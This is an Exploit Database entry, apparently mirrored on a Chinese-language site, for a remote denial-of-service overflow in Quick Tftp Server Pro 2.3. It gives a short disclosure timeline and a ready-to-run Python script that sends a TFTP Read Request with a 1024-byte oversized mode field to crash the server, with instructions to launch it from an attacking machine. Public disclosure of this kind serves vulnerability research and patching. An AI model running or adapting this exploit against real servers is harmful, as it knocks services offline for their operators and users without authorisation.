Quick Tftp Server Pro 2.3 – Read Mode Denial of Service

• Exploit Database
• 15 阅读

• 作者： Guillaume Kaddouch
  日期： 2016-03-02
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39516/

• # Exploit Title: Quick Tftp Server Pro 2.3 TFTP mode Remote Overflow (DoS)
  # Date: 21/01/2016
  # Exploit Author: Guillaume Kaddouch
  # Twitter: @gkweb76
  # Blog: https://networkfilter.blogspot.com
  # GitHub: https://github.com/gkweb76/exploits
  # Vendor Homepage: http://www.tallsoft.com/tftpserver.htm
  # Software Link: http://www.tallsoft.com/tftpserver_setup.exe
  # Version: 2.3
  # Tested on: Windows 7 Family x64 (FR)
  # Category: DoS
  
  """
  Disclosure Timeline:
  --------------------
  2016-01-21: Vulnerability discovered
  2016-01-24: Vendor contacted
  2016-01-29: Vendor contacted again (no answer)
  2016-03-01: Vulnerability published 
   
  Description :
  -------------
  A remote overflow exists in Quick Tftp Server Pro 2.3 in the TFTP mode when sending a TFTP Read Request. This allows to remotely crash
  the application, thus causing a Denial of Service.
  
   
  Instructions:
  -------------
  - Starts Quick Tftp Server Pro 2.3
  - Run this exploit locally or from your remote attacking machine
  """
  
  import socket
  
  host= "192.168.135.132"
  port= 69
  
  request = "\x00\x01"# TFTP Read Request (RRQ)
  file= "file.txt"
  mode= '\x41' * 1024 # Overflow
  
  buffer= request + file + "\x00" + mode + "\x00"
  
  try:
  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  
  print "[*] Sending buffer to %s (%d bytes)..." % (host, len(buffer))
  s.sendto(buffer, (host, port))
  s.close()
  print "[*] Done."
  except:
  print "[-] Error connecting"